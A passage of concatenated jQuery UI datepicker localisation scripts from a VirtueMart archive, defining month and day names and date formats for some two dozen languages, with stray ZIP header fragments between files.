Nediyanchath (saji89@gmail.com). */ jQuery(function($){ $.datepicker.regional['ml'] = { closeText: 'ശരി', prevText: 'മുന്നത്തെ', nextText: 'അടുത്തത് ', currentText: 'ഇന്ന്', monthNames: ['ജനുവരി','ഫെബ്രുവരി','മാര്‍ച്ച്','ഏപ്രില്‍','മേയ്','ജൂണ്‍', 'ജൂലൈ','ആഗസ്റ്റ്','സെപ്റ്റംബര്‍','ഒക്ടോബര്‍','നവംബര്‍','ഡിസംബര്‍'], monthNamesShort: ['ജനു', 'ഫെബ്', 'മാര്‍', 'ഏപ്രി', 'മേയ്', 'ജൂണ്‍', 'ജൂലാ', 'ആഗ', 'സെപ്', 'ഒക്ടോ', 'നവം', 'ഡിസ'], dayNames: ['ഞായര്‍', 'തിങ്കള്‍', 'ചൊവ്വ', 'ബുധന്‍', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesShort: ['ഞായ', 'തിങ്ക', 'ചൊവ്വ', 'ബുധ', 'വ്യാഴം', 'വെള്ളി', 'ശനി'], dayNamesMin: ['ഞാ','തി','ചൊ','ബു','വ്യാ','വെ','ശ'], weekHeader: 'ആ', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ml']); }); /* Malaysian initialisation for the jQuery UI date picker plugin. */ /* Written by Mohd Nawawi Mohamad Jamili (nawawi@ronggeng.net). */ jQuery(function($){ $.datepicker.regional['ms'] = { closeText: 'Tutup', prevText: '<Sebelum', nextText: 'Selepas>', currentText: 'hari ini', monthNames: ['Januari','Februari','Mac','April','Mei','Jun', 'Julai','Ogos','September','Oktober','November','Disember'], monthNamesShort: ['Jan','Feb','Mac','Apr','Mei','Jun', 'Jul','Ogo','Sep','Okt','Nov','Dis'], dayNames: ['Ahad','Isnin','Selasa','Rabu','Khamis','Jumaat','Sabtu'], dayNamesShort: ['Aha','Isn','Sel','Rab','kha','Jum','Sab'], dayNamesMin: ['Ah','Is','Se','Ra','Kh','Ju','Sa'], weekHeader: 'Mg', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ms']); });/* Dutch (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Mathias Bynens */ jQuery(function($){ $.datepicker.regional.nl = { closeText: 'Sluiten', prevText: '←', nextText: '→', currentText: 'Vandaag', monthNames: ['januari', 'februari', 'maart', 'april', 'mei', 'juni', 'juli', 'augustus', 'september', 'oktober', 'november', 'december'], monthNamesShort: ['jan', 'feb', 'maa', 'apr', 'mei', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'dec'], dayNames: ['zondag', 'maandag', 'dinsdag', 'woensdag', 'donderdag', 'vrijdag', 'zaterdag'], dayNamesShort: ['zon', 'maa', 'din', 'woe', 'don', 'vri', 'zat'], dayNamesMin: ['zo', 'ma', 'di', 'wo', 'do', 'vr', 'za'], weekHeader: 'Wk', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional.nl); });/* Norwegian initialisation for the jQuery UI date picker plugin. */ /* Written by Naimdjon Takhirov (naimdjon@gmail.com). */ jQuery(function($){ $.datepicker.regional['no'] = { closeText: 'Lukk', prevText: '«Forrige', nextText: 'Neste»', currentText: 'I dag', monthNames: ['januar','februar','mars','april','mai','juni','juli','august','september','oktober','november','desember'], monthNamesShort: ['jan','feb','mar','apr','mai','jun','jul','aug','sep','okt','nov','des'], dayNamesShort: ['søn','man','tir','ons','tor','fre','lør'], dayNames: ['søndag','mandag','tirsdag','onsdag','torsdag','fredag','lørdag'], dayNamesMin: ['sø','ma','ti','on','to','fr','lø'], weekHeader: 'Uke', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: '' }; $.datepicker.setDefaults($.datepicker.regional['no']); }); /* Polish initialisation for the jQuery UI date picker plugin. */ /* Written by Jacek Wysocki (jacek.wysocki@gmail.com). */ jQuery(function($){ $.datepicker.regional['pl'] = { closeText: 'Zamknij', prevText: '<Poprzedni', nextText: 'Następny>', currentText: 'Dziś', monthNames: ['Styczeń','Luty','Marzec','Kwiecień','Maj','Czerwiec', 'Lipiec','Sierpień','Wrzesień','Październik','Listopad','Grudzień'], monthNamesShort: ['Sty','Lu','Mar','Kw','Maj','Cze', 'Lip','Sie','Wrz','Pa','Lis','Gru'], dayNames: ['Niedziela','Poniedziałek','Wtorek','Środa','Czwartek','Piątek','Sobota'], dayNamesShort: ['Nie','Pn','Wt','Śr','Czw','Pt','So'], dayNamesMin: ['N','Pn','Wt','Śr','Cz','Pt','So'], weekHeader: 'Tydz', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pl']); }); /* Brazilian initialisation for the jQuery UI date picker plugin. */ /* Written by Leonildo Costa Silva (leocsilva@gmail.com). */ jQuery(function($){ $.datepicker.regional['pt-BR'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Próximo>', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt-BR']); });/* Portuguese initialisation for the jQuery UI date picker plugin. */ jQuery(function($){ $.datepicker.regional['pt'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Seguinte', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sem', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt']); });/* Romansh initialisation for the jQuery UI date picker plugin. */ /* Written by Yvonne Gienal (yvonne.gienal@educa.ch). */ jQuery(function($){ $.datepicker.regional['rm'] = { closeText: 'Serrar', prevText: '<Suandant', nextText: 'Precedent>', currentText: 'Actual', monthNames: ['Schaner','Favrer','Mars','Avrigl','Matg','Zercladur', 'Fanadur','Avust','Settember','October','November','December'], monthNamesShort: ['Scha','Fev','Mar','Avr','Matg','Zer', 'Fan','Avu','Sett','Oct','Nov','Dec'], dayNames: ['Dumengia','Glindesdi','Mardi','Mesemna','Gievgia','Venderdi','Sonda'], dayNamesShort: ['Dum','Gli','Mar','Mes','Gie','Ven','Som'], dayNamesMin: ['Du','Gl','Ma','Me','Gi','Ve','So'], weekHeader: 'emna', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['rm']); }); /* Romanian initialisation for the jQuery UI date picker plugin. * * Written by Edmond L. (ll_edmond@walla.com) * and Ionut G. Stan (ionut.g.stan@gmail.com) */ jQuery(function($){ $.datepicker.regional['ro'] = { closeText: 'Închide', prevText: '« Luna precedentă', nextText: 'Luna următoare »', currentText: 'Azi', monthNames: ['Ianuarie','Februarie','Martie','Aprilie','Mai','Iunie', 'Iulie','August','Septembrie','Octombrie','Noiembrie','Decembrie'], monthNamesShort: ['Ian', 'Feb', 'Mar', 'Apr', 'Mai', 'Iun', 'Iul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Duminică', 'Luni', 'Marţi', 'Miercuri', 'Joi', 'Vineri', 'Sâmbătă'], dayNamesShort: ['Dum', 'Lun', 'Mar', 'Mie', 'Joi', 'Vin', 'Sâm'], dayNamesMin: ['Du','Lu','Ma','Mi','Jo','Vi','Sâ'], weekHeader: 'Săpt', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ro']); }); /* Russian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Andrew Stromnov (stromnov@gmail.com). */ jQuery(function($){ $.datepicker.regional['ru'] = { closeText: 'Закрыть', prevText: '<Пред', nextText: 'След>', currentText: 'Сегодня', monthNames: ['Январь','Февраль','Март','Апрель','Май','Июнь', 'Июль','Август','Сентябрь','Октябрь','Ноябрь','Декабрь'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['воскресенье','понедельник','вторник','среда','четверг','пятница','суббота'], dayNamesShort: ['вск','пнд','втр','срд','чтв','птн','сбт'], dayNamesMin: ['Вс','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Нед', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ru']); });/* Slovak initialisation for the jQuery UI date picker plugin. */ /* Written by Vojtech Rinik (vojto@hmm.sk). */ jQuery(function($){ $.datepicker.regional['sk'] = { closeText: 'Zavrieť', prevText: '<Predchádzajúci', nextText: 'Nasledujúci>', currentText: 'Dnes', monthNames: ['Január','Február','Marec','Apríl','Máj','Jún', 'Júl','August','September','Október','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Máj','Jún', 'Júl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Nedeľa','Pondelok','Utorok','Streda','Štvrtok','Piatok','Sobota'], dayNamesShort: ['Ned','Pon','Uto','Str','Štv','Pia','Sob'], dayNamesMin: ['Ne','Po','Ut','St','Št','Pia','So'], weekHeader: 'Ty', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sk']); }); /* Slovenian initialisation for the jQuery UI date picker plugin. */ /* Written by Jaka Jancar (jaka@kubje.org). */ /* c = č, s = š z = ž C = Č S = Š Z = Ž */ jQuery(function($){ $.datepicker.regional['sl'] = { closeText: 'Zapri', prevText: '<Prejšnji', nextText: 'Naslednji>', currentText: 'Trenutni', monthNames: ['Januar','Februar','Marec','April','Maj','Junij', 'Julij','Avgust','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljek','Torek','Sreda','Četrtek','Petek','Sobota'], dayNamesShort: ['Ned','Pon','Tor','Sre','Čet','Pet','Sob'], dayNamesMin: ['Ne','Po','To','Sr','Če','Pe','So'], weekHeader: 'Teden', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sl']); }); /* Albanian initialisation for the jQuery UI date picker plugin. */ /* Written by Flakron Bytyqi (flakron@gmail.com). */ jQuery(function($){ $.datepicker.regional['sq'] = { closeText: 'mbylle', prevText: '<mbrapa', nextText: 'Përpara>', currentText: 'sot', monthNames: ['Janar','Shkurt','Mars','Prill','Maj','Qershor', 'Korrik','Gusht','Shtator','Tetor','Nëntor','Dhjetor'], monthNamesShort: ['Jan','Shk','Mar','Pri','Maj','Qer', 'Kor','Gus','Sht','Tet','Nën','Dhj'], dayNames: ['E Diel','E Hënë','E Martë','E Mërkurë','E Enjte','E Premte','E Shtune'], dayNamesShort: ['Di','Hë','Ma','Më','En','Pr','Sh'], dayNamesMin: ['Di','Hë','Ma','Më','En','Pr','Sh'], weekHeader: 'Ja', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sq']); }); /* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr-SR'] = { closeText: 'Zatvori', prevText: '<', nextText: '>', currentText: 'Danas', monthNames: ['Januar','Februar','Mart','April','Maj','Jun', 'Jul','Avgust','Septembar','Oktobar','Novembar','Decembar'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Avg','Sep','Okt','Nov','Dec'], dayNames: ['Nedelja','Ponedeljak','Utorak','Sreda','Četvrtak','Petak','Subota'], dayNamesShort: ['Ned','Pon','Uto','Sre','Čet','Pet','Sub'], dayNamesMin: ['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Sed', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr-SR']); }); /* Serbian i18n for the jQuery UI date picker plugin. */ /* Written by Dejan Dimić. */ jQuery(function($){ $.datepicker.regional['sr'] = { closeText: 'Затвори', prevText: '<', nextText: '>', currentText: 'Данас', monthNames: ['Јануар','Фебруар','Март','Април','Мај','Јун', 'Јул','Август','Септембар','Октобар','Новембар','Децембар'], monthNamesShort: ['Јан','Феб','Мар','Апр','Мај','Јун', 'Јул','Авг','Сеп','Окт','Нов','Дец'], dayNames: ['Недеља','Понедељак','Уторак','Среда','Четвртак','Петак','Субота'], dayNamesShort: ['Нед','Пон','Уто','Сре','Чет','Пет','Суб'], dayNamesMin: ['Не','По','Ут','Ср','Че','Пе','Су'], weekHeader: 'Сед', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr']); }); /* Swedish initialisation for the jQuery UI date picker plugin. */ /* Written by Anders Ekdahl ( anders@nomadiz.se). */ jQuery(function($){ $.datepicker.regional['sv'] = { closeText: 'Stäng', prevText: '«Förra', nextText: 'Nästa»', currentText: 'Idag', monthNames: ['Januari','Februari','Mars','April','Maj','Juni', 'Juli','Augusti','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNamesShort: ['Sön','Mån','Tis','Ons','Tor','Fre','Lör'], dayNames: ['Söndag','Måndag','Tisdag','Onsdag','Torsdag','Fredag','Lördag'], dayNamesMin: ['Sö','Må','Ti','On','To','Fr','Lö'], weekHeader: 'Ve', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sv']); }); /* Tamil (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by S A Sureshkumar (saskumar@live.com). */ jQuery(function($){ $.datepicker.regional['ta'] = { closeText: 'மூடு', prevText: 'முன்னையது', nextText: 'அடுத்தது', currentText: 'இன்று', monthNames: ['தை','மாசி','பங்குனி','சித்திரை','வைகாசி','ஆனி', 'ஆடி','ஆவணி','புரட்டாசி','ஐப்பசி','கார்த்திகை','மார்கழி'], monthNamesShort: ['தை','மாசி','பங்','சித்','வைகா','ஆனி', 'ஆடி','ஆவ','புர','ஐப்','கார்','மார்'], dayNames: ['ஞாயிற்றுக்கிழமை','திங்கட்கிழமை','செவ்வாய்க்கிழமை','புதன்கிழமை','வியாழக்கிழமை','வெள்ளிக்கிழமை','சனிக்கிழமை'], dayNamesShort: ['ஞாயிறு','திங்கள்','செவ்வாய்','புதன்','வியாழன்','வெள்ளி','சனி'], dayNamesMin: ['ஞா','தி','செ','பு','வி','வெ','ச'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ta']); }); /* Thai initialisation for the jQuery UI date picker plugin. */ /* Written by pipo (pipo@sixhead.com). */ jQuery(function($){ $.datepicker.regional['th'] = { closeText: 'ปิด', prevText: '« ย้อน', nextText: 'ถัดไป »', currentText: 'วันนี้', monthNames: ['มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน', 'กรกฎาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม'], monthNamesShort: ['ม.ค.','ก.พ.','มี.ค.','เม.ย.','พ.ค.','มิ.ย.', 'ก.ค.','ส.ค.','ก.ย.','ต.ค.','พ.ย.','ธ.ค.'], dayNames: ['อาทิตย์','จันทร์','อังคาร','พุธ','พฤหัสบดี','ศุกร์','เสาร์'], dayNamesShort: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], dayNamesMin: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['th']); });/* Tajiki (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Abdurahmon Saidov (saidovab@gmail.com). */ jQuery(function($){ $.datepicker.regional['tj'] = { closeText: 'Идома', prevText: '<Қафо', nextText: 'Пеш>', currentText: 'Имрӯз', monthNames: ['Январ','Феврал','Март','Апрел','Май','Июн', 'Июл','Август','Сентябр','Октябр','Ноябр','Декабр'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['якшанбе','душанбе','сешанбе','чоршанбе','панҷшанбе','ҷумъа','шанбе'], dayNamesShort: ['якш','душ','сеш','чор','пан','ҷум','шан'], dayNamesMin: ['Як','Дш','Сш','Чш','Пш','Ҷм','Шн'], weekHeader: 'Хф', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tj']); });/* Turkish initialisation for the jQuery UI date picker plugin. */ /* Written by Izzet Emre Erkan (kara@karalamalar.net). */ jQuery(function($){ $.datepicker.regional['tr'] = { closeText: 'kapat', prevText: '<geri', nextText: 'ileri>', currentText: 'bugün', monthNames: ['Ocak','Şubat','Mart','Nisan','Mayıs','Haziran', 'Temmuz','Ağustos','Eylül','Ekim','Kasım','Aralık'], monthNamesShort: ['Oca','Şub','Mar','Nis','May','Haz', 'Tem','Ağu','Eyl','Eki','Kas','Ara'], dayNames: ['Pazar','Pazartesi','Salı','Çarşamba','Perşembe','Cuma','Cumartesi'], dayNamesShort: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], dayNamesMin: ['Pz','Pt','Sa','Ça','Pe','Cu','Ct'], weekHeader: 'Hf', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tr']); });/* Ukrainian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Maxim Drogobitskiy (maxdao@gmail.com). */ jQuery(function($){ $.datepicker.regional['uk'] = { closeText: 'Закрити', prevText: '<', nextText: '>', currentText: 'Сьогодні', monthNames: ['Січень','Лютий','Березень','Квітень','Травень','Червень', 'Липень','Серпень','Вересень','Жовтень','Листопад','Грудень'], monthNamesShort: ['Січ','Лют','Бер','Кві','Тра','Чер', 'Лип','Сер','Вер','Жов','Лис','Гру'], dayNames: ['неділя','понеділок','вівторок','середа','четвер','п’ятниця','субота'], dayNamesShort: ['нед','пнд','вів','срд','чтв','птн','сбт'], dayNamesMin: ['Нд','Пн','Вт','Ср','Чт','Пт','Сб'], weekHeader: 'Не', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['uk']); });/* Vietnamese initialisation for the jQuery UI date picker plugin. */ /* Translated by Le Thanh Huy (lthanhhuy@cit.ctu.edu.vn). */ jQuery(function($){ $.datepicker.regional['vi'] = { closeText: 'Đóng', prevText: '<Trước', nextText: 'Tiếp>', currentText: 'Hôm nay', monthNames: ['Tháng Một', 'Tháng Hai', 'Tháng Ba', 'Tháng Tư', 'Tháng Năm', 'Tháng Sáu', 'Tháng Bảy', 'Tháng Tám', 'Tháng Chín', 'Tháng Mười', 'Tháng Mười Một', 'Tháng Mười Hai'], monthNamesShort: ['Tháng 1', 'Tháng 2', 'Tháng 3', 'Tháng 4', 'Tháng 5', 'Tháng 6', 'Tháng 7', 'Tháng 8', 'Tháng 9', 'Tháng 10', 'Tháng 11', 'Tháng 12'], dayNames: ['Chủ Nhật', 'Thứ Hai', 'Thứ Ba', 'Thứ Tư', 'Thứ Năm', 'Thứ Sáu', 'Thứ Bảy'], dayNamesShort: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], dayNamesMin: ['CN', 'T2', 'T3', 'T4', 'T5', 'T6', 'T7'], weekHeader: 'Tu', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['vi']); }); /* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Cloudream (cloudream@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-CN'] = { closeText: '关闭', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-CN']); }); /* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by SCCY (samuelcychan@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-HK'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'dd-mm-yy', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-HK']); }); /* Chinese initialisation for the jQuery UI date picker plugin. */ /* Written by Ressol (ressol@gmail.com). */ jQuery(function($){ $.datepicker.regional['zh-TW'] = { closeText: '關閉', prevText: '<上月', nextText: '下月>', currentText: '今天', monthNames: ['一月','二月','三月','四月','五月','六月', '七月','八月','九月','十月','十一月','十二月'], monthNamesShort: ['一','二','三','四','五','六', '七','八','九','十','十一','十二'], dayNames: ['星期日','星期一','星期二','星期三','星期四','星期五','星期六'], dayNamesShort: ['周日','周一','周二','周三','周四','周五','周六'], dayNamesMin: ['日','一','二','三','四','五','六'], weekHeader: '周', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['zh-TW']); }); PKGy>\^Χ;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-en-NZ.jsnuW+A/* English/New Zealand initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-NZ'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-NZ']); }); PKGy>\ =8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-da.jsnuW+A/* Danish initialisation for the jQuery UI date picker plugin. */ /* Written by Jan Christensen ( deletestuff@gmail.com). */ jQuery(function($){ $.datepicker.regional['da'] = { closeText: 'Luk', prevText: '<Forrige', nextText: 'Næste>', currentText: 'Idag', monthNames: ['Januar','Februar','Marts','April','Maj','Juni', 'Juli','August','September','Oktober','November','December'], monthNamesShort: ['Jan','Feb','Mar','Apr','Maj','Jun', 'Jul','Aug','Sep','Okt','Nov','Dec'], dayNames: ['Søndag','Mandag','Tirsdag','Onsdag','Torsdag','Fredag','Lørdag'], dayNamesShort: ['Søn','Man','Tir','Ons','Tor','Fre','Lør'], dayNamesMin: ['Sø','Ma','Ti','On','To','Fr','Lø'], weekHeader: 'Uge', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['da']); }); PKGy>\J[oo8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ca.jsnuW+A/* Inicialització en català per a l'extenció 'calendar' per jQuery. */ /* Writers: (joan.leon@gmail.com). */ jQuery(function($){ $.datepicker.regional['ca'] = { closeText: 'Tancar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Avui', monthNames: ['Gener','Febrer','Març','Abril','Maig','Juny', 'Juliol','Agost','Setembre','Octubre','Novembre','Desembre'], monthNamesShort: ['Gen','Feb','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Oct','Nov','Des'], dayNames: ['Diumenge','Dilluns','Dimarts','Dimecres','Dijous','Divendres','Dissabte'], dayNamesShort: ['Dug','Dln','Dmt','Dmc','Djs','Dvn','Dsb'], dayNamesMin: ['Dg','Dl','Dt','Dc','Dj','Dv','Ds'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ca']); });PKGy>\ 8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ja.jsnuW+A/* Japanese initialisation for the jQuery UI date picker plugin. */ /* Written by Kentaro SATO (kentaro@ranvis.com). */ jQuery(function($){ $.datepicker.regional['ja'] = { closeText: '閉じる', prevText: '<前', nextText: '次>', currentText: '今日', monthNames: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], monthNamesShort: ['1月','2月','3月','4月','5月','6月', '7月','8月','9月','10月','11月','12月'], dayNames: ['日曜日','月曜日','火曜日','水曜日','木曜日','金曜日','土曜日'], dayNamesShort: ['日','月','火','水','木','金','土'], dayNamesMin: ['日','月','火','水','木','金','土'], weekHeader: '週', dateFormat: 'yy/mm/dd', firstDay: 0, isRTL: false, showMonthAfterYear: true, yearSuffix: '年'}; $.datepicker.setDefaults($.datepicker.regional['ja']); });PKGy>\QϷ;com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ar-DZ.jsnuW+A/* Algerian Arabic Translation for jQuery UI date picker plugin. (can be used for Tunisia)*/ /* Mohamed Cherif BOUCHELAGHEM -- cherifbouchelaghem@yahoo.fr */ jQuery(function($){ $.datepicker.regional['ar-DZ'] = { closeText: 'إغلاق', prevText: '<السابق', nextText: 'التالي>', currentText: 'اليوم', monthNames: ['جانفي', 'فيفري', 'مارس', 'أفريل', 'ماي', 'جوان', 'جويلية', 'أوت', 'سبتمبر','أكتوبر', 'نوفمبر', 'ديسمبر'], monthNamesShort: ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12'], dayNames: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesShort: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], dayNamesMin: ['الأحد', 'الاثنين', 'الثلاثاء', 'الأربعاء', 'الخميس', 'الجمعة', 'السبت'], weekHeader: 'أسبوع', dateFormat: 'dd/mm/yy', firstDay: 6, isRTL: true, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ar-DZ']); }); PKGy>\h8com_virtuemart/assets/js/i18n/jquery.ui.datepicker-az.jsnuW+A/* Azerbaijani (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Jamil Najafov (necefov33@gmail.com). */ jQuery(function($) { $.datepicker.regional['az'] = { closeText: 'Bağla', prevText: '<Geri', nextText: 'İrəli>', currentText: 'Bugün', monthNames: ['Yanvar','Fevral','Mart','Aprel','May','İyun', 'İyul','Avqust','Sentyabr','Oktyabr','Noyabr','Dekabr'], monthNamesShort: ['Yan','Fev','Mar','Apr','May','İyun', 'İyul','Avq','Sen','Okt','Noy','Dek'], dayNames: ['Bazar','Bazar ertəsi','Çərşənbə 